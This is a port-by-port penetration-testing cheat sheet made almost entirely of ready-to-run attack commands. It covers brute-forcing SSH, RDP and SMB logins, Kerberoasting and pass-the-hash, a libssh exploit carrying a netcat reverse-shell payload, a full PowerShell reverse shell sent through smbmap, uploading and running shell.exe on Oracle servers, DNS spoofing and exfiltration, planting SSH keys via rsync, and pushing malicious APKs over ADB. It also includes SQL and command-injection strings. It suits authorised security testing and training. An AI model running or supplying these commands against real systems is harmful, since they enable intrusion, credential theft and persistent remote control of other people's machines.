Ports
General
AIO Penetration Testing Methodology - 0DAYsecurity.com
Port 21 - FTP
nmap --script ftp-* -p 21 10.11.1.111
Port 22 - SSH
- If you have usernames test login with username:username
- Vulnerable Versions to user enum: <7.7
# Enum SSH
# Get version
nmap 10.11.1.1 -p22 -sV
# Get banner
nc 10.11.1.1 22
# Get login banner
ssh root@10.11.11.1
# Get algorythms supporteed
nmap -p22 10.11.1.1 --script ssh2-enum-algos
# Check weak keys
nmap-p22 10.2.1.1 --script ssh-hostkey --script-args ssh_hostkey=full
# Check auth methods
nmap -p22 10.11.1.1 --script ssh-auth-methods --script-args="ssh.user=admin"
# User can ask to execute a command right after authentication before it’s default command or shell is executed
$ ssh -v user@10.10.1.111 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 10.10.1.111 ([10.10.1.1114]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(user) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
# Check Auth Methods:
$ ssh -v 10.10.1.111
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
# Force Auth Method:
$ ssh -v 10.10.1.111 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
# BruteForce:
patator ssh_login host=10.11.1.111 port=22 user=root 0=/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt password=FILE0 -x ignore:mesg='Authentication failed.'
hydra -l user -P /usr/share/wordlists/password/rockyou.txt -e s ssh://10.10.1.111
hydra -L users_person -P wordlist.txt -t 4 ssh://192.168.120.125 -s 43022
medusa -h 10.10.1.111 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
ncrack --user user -P /usr/share/wordlists/password/rockyou.txt ssh://10.10.1.111
# LibSSH Before 0.7.6 and 0.8.4 - LibSSH 0.7.6 / 0.8.4 - Unauthorized Access
# Id
python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 id
# Reverse
python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.111 80 >/tmp/f"
# SSH FUZZ
# https://dl.packetstormsecurity.net/fuzzer/sshfuzz.txt
# cpan Net::SSH2
./sshfuzz.pl -H 10.10.1.111 -P 22 -u user -p user
use auxiliary/fuzzers/ssh/ssh_version_2
# SSH-AUDIT
# https://github.com/arthepsy/ssh-audit
# Enum users < 7.7:
# https://www.exploit-db.com/exploits/45233
https://github.com/CaioCGH/EP4-redes/blob/master/attacker/sshUsernameEnumExploit.py
python ssh_user_enum.py --port 2223 --userList /root/Downloads/users.txt IP 2>/dev/null | grep "is a"
# SSH Leaks:
https://shhgit.darkport.co.uk/
# SSH bruteforce
# https://github.com/kitabisa/ssb
Port 23 - Telnet
# Get banner
telnet 10.11.1.110
# Bruteforce password
patator telnet_login host=10.11.1.110 inputs='FILE0\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt persistent=0 prompt_re='Username: | Password:'
Port 25 - SMTP
nc -nvv 10.11.1.111 25
HELO foo
telnet 10.11.1.111 25
VRFY root
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.11.1.111
smtp-user-enum -M VRFY -U /root/sectools/SecLists/Usernames/Names/names.txt -t 10.11.1.111
# SMTP relay
msfconsole
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS <IP or File>
set MAILFROM <PoC email address>
set MAILTO <your email address>
run
# Send email unauth:
MAIL FROM:admin@admin.com
RCPT TO:DestinationEmail@DestinationDomain.com
DATA
test
.
Receive:
250 OK
Port 43 - Whois
whois -h 10.10.1.111 -p 43 "domain.com"
echo "domain.com" | nc -vn 10.10.1.111 43
whois -h 10.10.1.111 -p 43 "a') or 1=1#"
Port 53 - DNS (Domain Name System)
# Nmap script to identify DNS services
nmap -p 53 --script=dns-nsid <DNS_IP>
# Banner Grabbing using dig
dig version.bind CHAOS TXT @<DNS_IP>
# Banner Grabbing using netcat
nc -nv -u <DNS_IP> 53
# Discover authoritative DNS servers
dig NS an4kein.com
nslookup -type=NS an4kein.com
# DNS record enumeration with dig
dig an4kein.com
dig A an4kein.com
dig -x <IP_ADDRESS> # Reverse DNS lookup
dig @<DNS_SERVER_IP> an4kein.com # Specify custom DNS server
# DNS enumeration with nslookup
nslookup an4kein.com
nslookup -type=MX an4kein.com
nslookup an4kein.com <DNS_IP>
# DNS enumeration with host
host an4kein.com
host -t MX an4kein.com
host <IP_ADDRESS>
# Query all available DNS records
dig any an4kein.com @<DNS_IP>
# Attempt DNS zone transfer (AXFR)
dig axfr @<DNS_IP>
dig axfr @<DNS_IP> an4kein.com
fierce --domain an4kein.com --dns-servers <DNS_IP>
# Metasploit and Nmap DNS modules
msfconsole
use auxiliary/gather/enum_dns
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
# DNS brute force and reverse DNS sweep
dnsrecon -r 127.0.0.0/24 -n <DNS_IP>
dnsrecon -r <CIDR> -n <DNS_IP>
dnsrecon -d an4kein.com -a -n <DNS_IP>
# DNS Cache Snooping
dnsrecon -t std -d an4kein.com -D /usr/share/dnsrecon/namelist.txt
# DNS enumeration via Google Dorks
# site:<domain> -www.<domain> -site:www.<domain>
site:an4kein.com -www.an4kein.com -site:www.an4kein.com
# DNS enumeration using Maltego (visual)
maltego
# Online Tools:
# https://dnsdumpster.com
# https://dnsrecon.com
# https://spyse.com
# https://securitytrails.com
# https://dnslytics.com
# Certificate Transparency log monitoring for subdomains
# https://certspotter.com
# DNS Spoofing with Ettercap
ettercap -T -q -M arp:remote /<gateway-ip>// /<target-ip>// -P dns_spoof
# DNS tunneling with iodine
# Server
iodined -f -c <tunnel-ip> an4kein.com
# Client
iodine <dns-server-ip> an4kein.com
# Cache Snooping (post-exploitation)
dig @<dns-server> an4kein.com +norecurse
# Reverse DNS lookup (post-exploitation)
dig -x <ip-address>
# DNS exfiltration using dnscat2
# Server
dnscat2 --dns server=<dns-server-ip>:53
# Client
dnscat2 an4kein.com
Port 69 - UDP - TFTP
- Vulns tftp in server 1.3, 1.4, 1.9, 2.1, and a few more.
- Same checks as FTP Port 21.
nmap -p69 --script=tftp-enum.nse 10.11.1.111
Port 79 - Finger
nc -vn 10.11.1.111 79
echo "root" | nc -vn 10.11.1.111 79
# User enumeration
finger @10.11.1.111 #List users
finger admin@10.11.1.111 #Get info of user
finger user@10.11.1.111 #Get info of user
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
Port 88 - Kerberos
Kerberos Attacks
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN.LOCAL'" IP
use auxiliary/gather/kerberos_enumusers # MSF
# Check for Kerberoasting:
GetNPUsers.py DOMAIN-Target/ -usersfile user.txt -dc-ip <IP> -format hashcat/john
# GetUserSPNs
ASREPRoast:
impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
impacket-GetUserSPNs <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# Kerberoasting:
impacket-GetUserSPNs <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>
# Overpass The Hash/Pass The Key (PTK):
python3 getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
python3 getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
python3 getTGT.py <domain_name>/<user_name>:[password]
# Using TGT key to excute remote commands from the following impacket scripts:
python3 psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python3 smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python3 wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
# https://www.tarlogic.com/blog/como-funciona-kerberos/
# https://www.tarlogic.com/blog/como-atacar-kerberos/
python kerbrute.py -dc-ip IP -users /root/htb/kb_users.txt -passwords /root/pass_common_plus.txt -threads 20 -domain DOMAIN -outputfile kb_extracted_passwords.txt
# https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/
# https://github.com/GhostPack/Rubeus
# https://github.com/fireeye/SSSDKCMExtractor
# https://gitlab.com/Zer1t0/cerbero
Port 110 - Pop3
telnet 10.11.1.111
USER pelle@10.11.1.111
PASS admin
# or:
USER pelle
PASS admin
# List all emails
list
# Retrieve email number 5, for example
retr 9
Port 111 - Rpcbind
rpcinfo -p 10.11.1.111
rpcclient -U "" 10.11.1.111
srvinfo
enumdomusers
getdompwinfo
querydominfo
netshareenum
netshareenumall
Port 135 - MSRPC
Some versions are vulnerable.
nmap 10.11.1.111 --script=msrpc-enum
msf > use exploit/windows/dcerpc/ms03_026_dcom
# Endpoint Mapper Service Discovery
use auxiliary/scanner/dcerpc/endpoint_mapper
#Hidden DCERPC Service Discovery
use auxiliary/scanner/dcerpc/hidden
# Remote Management Interface Discovery
use auxiliary/scanner/dcerpc/management
# DCERPC TCP Service Auditor
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
impacket-rpcdump
# Enum network interface
# https://github.com/mubix/IOXIDResolver
| Named pipe |
Description |
Service or process |
Interface identifier |
|
|
|
|
| atsvc |
atsvc interface (Scheduler service) |
mstask.exe |
1ff70682-0a51-30e8-076d-740be8cee98b v1.0 |
|
|
|
|
| AudioSrv |
AudioSrv interface (Windows Audio service) |
AudioSrv |
3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0 |
|
|
|
|
| browser (ntsvcs alias) |
browser interface (Computer Browser service) |
Browser |
6bffd098-a112-3610-9833-012892020162 v0.0 |
|
|
|
|
| cert |
ICertPassage interface (Certificate services) |
certsrv.exe |
91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0 |
|
|
|
|
| Ctx_Winstation_API_Service |
winstation_rpc interface |
termsrv.exe |
5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0 |
|
|
|
|
| DAV RPC SERVICE |
davclntrpc interface (WebDAV client service) |
WebClient |
c8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0 |
|
|
|
|
| dnsserver |
DnsServer interface (DNS Server service) |
dns.exe |
50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0 |
|
|
|
|
| epmapper |
epmp interface (RPC endpoint mapper) |
RpcSs |
e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0 |
|
|
|
|
| eventlog (ntsvcs alias) |
eventlog interface (Eventlog service) |
Eventlog |
82273fdc-e32a-18c3-3f78-827929dc23ea v0.0 |
|
|
|
|
| HydraLsPipe |
Terminal Server Licensing |
lserver.exe |
3d267954-eeb7-11d1-b94e-00c04fa3080d v1.0 |
|
|
|
|
| InitShutdown |
InitShutdown interface |
winlogon.exe |
894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0 |
|
|
|
|
| keysvc |
IKeySvc interface (Cryptographic services) |
CryptSvc |
8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0 |
|
|
|
|
| keysvc |
ICertProtect interface (Cryptographic services) |
CryptSvc |
0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0 |
|
|
|
|
| locator |
NsiS interface (RPC Locator service) |
locator.exe |
d6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0 |
|
|
|
|
| llsrpc |
llsrpc interface (Licensing Logging service) |
llssrv.exe |
342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0 |
|
|
|
|
| lsarpc (lsass alias) |
lsarpc interface |
lsass.exe |
12345778-1234-abcd-ef00-0123456789ab v0.0 |
|
|
|
|
| lsarpc (lsass alias) |
dssetup interface |
lsass.exe |
3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0 |
|
|
|
|
| msgsvc (ntsvcs alias) |
msgsvcsend interface (Messenger service) |
messenger |
5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0 |
|
|
|
|
| nddeapi |
nddeapi interface (NetDDE service) |
netdde.exe |
2f5f3220-c126-1076-b549-074d078619da v1.2 |
|
|
|
|
| netdfs |
netdfs interface (Distributed File System service) |
Dfssvc |
4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0 |
|
|
|
|
| netlogon (lsass alias) |
netlogon interface (Net Logon service) |
Netlogon |
12345678-1234-abcd-ef00-01234567cffb v1.0 |
|
|
|
|
| ntsvcs |
pnp interface (Plug and Play service) |
PlugPlay |
8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0 |
|
|
|
|
| plugplay |
pnp interface (Plug and Play Windows Vista service) |
PlugPlay |
8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0 |
|
|
|
|
| policyagent |
PolicyAgent interface (IPSEC Policy Agent (Windows 2000)) |
PolicyAgent |
d335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5 |
|
|
|
|
| ipsec |
winipsec interface (IPsec Services) |
PolicyAgent |
12345678-1234-abcd-ef00-0123456789ab v1.0 |
|
|
|
|
| ProfMapApi |
pmapapi interface |
winlogon.exe |
369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0 |
|
|
|
|
| protected_storage |
IPStoreProv interface (Protected Storage) |
lsass.exe |
c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0 |
|
|
|
|
| ROUTER |
Remote Access |
mprdim.dll |
8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0 |
|
|
|
|
| samr (lsass alias) |
samr interface |
lsass.exe |
12345778-1234-abcd-ef00-0123456789ac v1.0 |
|
|
|
|
| scerpc |
SceSvc |
services.exe |
93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0 |
|
|
|
|
| SECLOGON |
ISeclogon interface (Secondary logon service) |
seclogon |
12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0 |
|
|
|
|
| SfcApi |
sfcapi interface (Windows File Protection) |
winlogon.exe |
83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0 |
|
|
|
|
| spoolss |
spoolss interface (Spooler service) |
spoolsv.exe |
12345678-1234-abcd-ef00-0123456789ab v1.0 |
|
|
|
|
| srvsvc (ntsvcs alias) |
srvsvc interface (Server service) |
services.exe (w2k) or svchost.exe (wxp and w2k3) |
4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0 |
|
|
|
|
| ssdpsrv |
ssdpsrv interface (SSDP service) |
ssdpsrv |
4b112204-0e19-11d3-b42b-0000f81feb9f v1.0 |
|
|
|
|
| svcctl (ntsvcs alias) |
svcctl interface (Services control manager) |
services.exe |
367aeb81-9844-35f1-ad32-98f038001003 v2.0 |
|
|
|
|
| tapsrv |
tapsrv interface (Telephony service) |
Tapisrv |
2f5f6520-ca46-1067-b319-00dd010662da v1.0 |
|
|
|
|
| trkwks |
trkwks interface (Distributed Link Tracking Client) |
Trkwks |
300f3532-38cc-11d0-a3f0-0020af6b0add v1.2 |
|
|
|
|
| W32TIME (ntsvcs alias) |
w32time interface (Windows Time (Windows 2000 and XP)) |
w32time |
8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1 |
|
|
|
|
| W32TIME_ALT |
w32time interface (Windows Time (Windows Server 2003, Windows Vista)) |
w32time |
8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1 |
|
|
|
|
| winlogonrpc |
GetUserToken interface |
winlogon.exe |
a002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0 |
|
|
|
|
| winreg |
winreg interface (Remote registry service) |
RemoteRegistry |
338cd001-2244-31f1-aaaa-900038001003 v1.0 |
|
|
|
|
| winspipe |
winsif interface (WINS service) |
wins.exe |
45f52c28-7f9f-101a-b52b-08002b2efabe v1.0 |
|
|
|
|
| wkssvc (ntsvcs alias) |
wkssvc interface (Workstation service) |
services.exe (w2k) or svchost.exe (wxp and w2k3) |
6bffd098-a112-3610-9833-46c3f87e345a v1.0 |
|
|
|
|
Port 139/445 - SMB
# Enum hostname
enum4linux -n 10.11.1.111
nmblookup -A 10.11.1.111
nmap --script=smb-enum* --script-args=unsafe=1 -T5 10.11.1.111
# Get Version
smbver.sh 10.11.1.111
Msfconsole;use scanner/smb/smb_version
ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]'
smbclient -L \\\\10.11.1.111
# Get Shares
smbmap -H 10.11.1.111 -R
echo exit | smbclient -L \\\\10.11.1.111
smbclient \\\\10.11.1.111\\
smbclient -L //10.11.1.111 -N
nmap --script smb-enum-shares -p139,445 -T4 -Pn 10.11.1.111
smbclient -L \\\\10.11.1.111\\
# If got error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED"
smbclient -L //10.11.1.111/ --option='client min protocol=NT1'
# Check null sessions
smbmap -H 10.11.1.111
rpcclient -U "" -N 10.11.1.111
smbclient //10.11.1.111/IPC$ -N
# Exploit null sessions
enum -s 10.11.1.111
enum -U 10.11.1.111
enum -P 10.11.1.111
enum4linux -a 10.11.1.111
#https://github.com/cddmp/enum4linux-ng/
enum4linux-ng.py 10.11.1.111 -A -C
/usr/share/doc/python3-impacket/examples/samrdump.py 10.11.1.111
# Connect to username shares
smbclient //10.11.1.111/share -U username
# Connect to share anonymously
smbclient \\\\10.11.1.111\\
smbclient //10.11.1.111/
smbclient //10.11.1.111/
smbclient //10.11.1.111/<""share name"">
rpcclient -U " " 10.11.1.111
rpcclient -U " " -N 10.11.1.111
# Check vulns
nmap --script smb-vuln* -p139,445 -T4 -Pn 10.11.1.111
sudo nmap -p137,138,139,445 --script="smb-vuln-*" 192.168.139.40
sudo nmap -n -v -sT -A 10.10.10.40 --script vuln
# Multi exploits
msfconsole; use exploit/multi/samba/usermap_script; set lhost 192.168.0.X; set rhost 10.11.1.111; run
# Bruteforce login
medusa -h 10.11.1.111 -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt
nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 10.11.1.111 -vvvv
nmap –script smb-brute 10.11.1.111
# nmap smb enum & vuln
nmap --script smb-enum-*,smb-vuln-*,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-protocols -p 139,445 10.11.1.111
nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse -p 139,445 10.11.1.111
# Mount smb volume linux
mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share
# rpcclient commands
rpcclient -U "" 10.11.1.111
srvinfo
enumdomusers
getdompwinfo
querydominfo
netshareenum
netshareenumall
# Run cmd over smb from linux
winexe -U username //10.11.1.111 "cmd.exe" --system
# smbmap
smbmap.py -H 10.11.1.111 -u administrator -p asdf1234 #Enum
smbmap.py -u username -p 'P@$$w0rd1234!' -d DOMAINNAME -x 'net group "Domain Admins" /domain' -H 10.11.1.111 #RCE
smbmap.py -H 10.11.1.111 -u username -p 'P@$$w0rd1234!' -L # Drive Listing
smbmap.py -u username -p 'P@$$w0rd1234!' -d ABC -H 10.11.1.111 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.X""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' # Reverse Shell
# Check
\Policies\{REG}\MACHINE\Preferences\Groups\Groups.xml look for user&pass "gpp-decrypt "
# CrackMapExec
crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local
crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local --lsa
# Impacket
python3 samdump.py SMB 172.21.0.0
# Check for systems with SMB Signing not enabled
python3 RunFinger.py -i 172.21.0.0/24
Port 161/162 UDP - SNMP
nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes 10.11.1.111
nmap 10.11.1.111 -Pn -sU -p 161 --script=snmp-brute,snmp-hh3c-logins,snmp-info,snmp-interfaces,snmp-ios-config,snmp-netstat,snmp-processes,snmp-sysdescr,snmp-win32-services,snmp-win32-shares,snmp-win32-software,snmp-win32-users
snmp-check 10.11.1.111 -c public|private|community
snmpwalk -c public -v1 ipaddress 1
snmpwalk -c private -v1 ipaddress 1
snmpwalk -c manager -v1 ipaddress 1
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 172.21.0.X
# Impacket
python3 samdump.py SNMP 172.21.0.0
# MSF aux modules
auxiliary/scanner/misc/oki_scanner
auxiliary/scanner/snmp/aix_version
auxiliary/scanner/snmp/arris_dg950
auxiliary/scanner/snmp/brocade_enumhash
auxiliary/scanner/snmp/cisco_config_tftp
auxiliary/scanner/snmp/cisco_upload_file
auxiliary/scanner/snmp/cnpilot_r_snmp_loot
auxiliary/scanner/snmp/epmp1000_snmp_loot
auxiliary/scanner/snmp/netopia_enum
auxiliary/scanner/snmp/sbg6580_enum
auxiliary/scanner/snmp/snmp_enum
auxiliary/scanner/snmp/snmp_enum_hp_laserjet
auxiliary/scanner/snmp/snmp_enumshares
auxiliary/scanner/snmp/snmp_enumusers
auxiliary/scanner/snmp/snmp_login
Port 389,636 - LDAP
Check AD section and this LDAP guide
jxplorer
ldapsearch -h 10.11.1.111 -p 389 -x -b "dc=mywebsite,dc=com"
python3 windapsearch.py --dc-ip 10.10.10.182 --users --full > windapsearch_users.txt
cat windapsearch_users.txt | grep sAMAccountName | cut -d " " -f 2 > users.txt
# Check # https://github.com/ropnop/go-windapsearch
Port 443 - HTTPS
Read the actual SSL CERT to:
- find out potential correct vhost to GET
- is the clock skewed
- any names that could be usernames for bruteforce/guessing.
./testssl.sh -e -E -f -p -S -P -c -H -U TARGET-HOST > OUTPUT-FILE.html
# Check for mod_ssl,OpenSSL version Openfuck
Port 500 - ISAKMP IKE
Port 513 - Rlogin
apt install rsh-client
rlogin -l root 10.11.1.111
Port 541 - FortiNet SSLVPN
Fortinet Ports Guide
SSL VPN Leak
Port 873 - Rsync
# Connect to Rsync Server
rsync rsync://user@target_host/
# Identify Rsync Server
nmap -p 873 X.X.X.X
# Banner Grabbing
nc -nv X.X.X.X 873
# Expected output format:
# @RSYNCD: version
# Enumerate Modules
nmap -sV --script "rsync-list-modules" -p 873 target_host
# Metasploit - Enumerate Modules
msfconsole
use auxiliary/scanner/rsync/modules_list
set RHOSTS target_host
run
# Enumerate Shared Folders
rsync target_host::
rsync -av --list-only rsync://target_host/module_name
# Check for Outdated Rsync Version
nmap -sV --script=rsync-list-modules target_host
# Exploit Misconfigured Modules (Writable)
rsync -avz /local/file rsync://target_host/module_name/
# Post-Exploitation - Data Exfiltration
rsync -avz target_host::module_name /local/directory/
# Gain Persistent Access
rsync -av home_user/.ssh/ rsync://user@target_host/home_user/.ssh
rsync -avz vitest.service 192.168.110.207::backup/vitest.service
Port 1433 - MSSQL
nmap -p 1433 -sU --script=ms-sql-info.nse 10.11.1.111
use auxiliary/scanner/mssql/mssql_ping
use auxiliary/scanner/mssql/mssql_login
use exploit/windows/mssql/mssql_payload
sqsh -S 10.11.1.111 -U sa
xp_cmdshell 'date'
go
EXEC sp_execute_external_script @language = N'Python', @script = N'import os;os.system("whoami")'
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/
Port 1521 - Oracle
oscanner -s 10.11.1.111 -P 1521
tnscmd10g version -h 10.11.1.111
tnscmd10g status -h 10.11.1.111
nmap -p 1521 -A 10.11.1.111
nmap -p 1521 --script=oracle-tns-version,oracle-sid-brute,oracle-brute
MSF: good modules under auxiliary/admin/oracle and scanner/oracle
# https://github.com/quentinhardy/odat
./odat-libc2.5-i686 all -s 10.11.1.111 -p 1521
./odat-libc2.5-i686 sidguesser -s 10.11.1.111 -p 1521
./odat-libc2.5-i686 passwordguesser -s 10.11.1.111 -p 1521 -d XE
# Upload reverse shell with ODAT:
./odat-libc2.5-i686 utlfile -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ shell.exe /root/shell.exe
# and run it:
./odat-libc2.5-i686 externaltable -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ shell.exe
Port 2000 - Cisco sccp
# cisco-audit-tool
CAT -h ip -p 2000 -w /usr/share/wordlists/rockyou.txt
# cisco-smart-install
https://github.com/Sab0tag3d/SIET/
sudo python siet.py -g -i 192.168.0.1
Port 2049 - NFS
nmap -p 111,2049 --script nfs-ls,nfs-showmount
showmount -e 10.11.1.111
# If you find anything you can mount it like this:
mount 10.11.1.111:/ /tmp/NFS –o nolock
mount -t nfs 10.11.1.111:/ /tmp/NFS –o nolock
Port 2100 - Oracle XML DB
Default passwords:
https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm
Port 3306 - MySQL
nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse 10.11.1.111 -p 3306
mysql --host=10.11.1.111 -u root -p
# MYSQL UDF 4.x/5.0
https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/
Port 3389 - RDP
nmap -p 3389 --script=rdp-vuln-ms12-020.nse
rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.11.1.111
rdesktop -u guest -p guest 10.11.1.111 -g 94%
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://10.11.1.111
python crowbar.py -b rdp -s 10.11.1.111/32 -u admin -C ../rockyou.txt -v
Port 5432 - PostgreSQL
psql -h 10.10.1.111 -U postgres -W
# Default creds
postgres : postgres
postgres : password
postgres : admin
admin : admin
admin : password
pg_dump --host=10.10.1.111 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump
Port 5555 - ADB (Android Debug Bridge)
# ADB (Android Debug Bridge) - Port 5555
# ADB allows communication and control over Android devices, often used in debugging.
# If left exposed, attackers may gain full control of the device.
# ─────────────────────────────
# 🔎 Recon - Detecting ADB Port
# ─────────────────────────────
nmap -p 5555 <target-ip> # Check if ADB port is open
adb connect <ip>:5555 # Connect to remote ADB over TCP/IP
adb devices # List all connected ADB devices
# ─────────────────────────────
# 🛠️ Ghost Framework - ADB Exploitation
# ─────────────────────────────
git clone https://github.com/EntySec/ghost
cd ghost
chmod +x install.sh
./install.sh
ghost
# After launching Ghost:
ghost> connect <ip>:5555 # Connect to the device
ghost> deviceinfo # View device information
ghost> ls # List files on the device
# ─────────────────────────────
# 📤 File Transfer
# ─────────────────────────────
adb pull /sdcard/secret.txt . # Download file from device
adb push exploit.apk /sdcard/ # Upload malicious APK to device
# ─────────────────────────────
# ⚙️ Common ADB Post-Exploitation Commands
# ─────────────────────────────
adb shell # Open interactive shell on device
adb install payload.apk # Install malicious APK
adb uninstall com.example.app # Uninstall an app
adb logcat # View live system logs
adb reboot # Reboot the device remotely
adb shell am start -n com.pkg/.MainActivity # Launch a specific app
adb shell pm list packages # List all installed packages
adb shell dumpsys # Dump system services and info
adb shell screencap /sdcard/snap.png # Capture screenshot to device
adb shell input keyevent KEYCODE_POWER # Simulate pressing power button
# ─────────────────────────────
# 📚 Useful References
# https://github.com/EntySec/ghost
# https://developer.android.com/studio/command-line/adb
# https://book.hacktricks.xyz/mobile-apps-pentesting/android-pentesting/adb
# ─────────────────────────────
Port 5900 - VNC
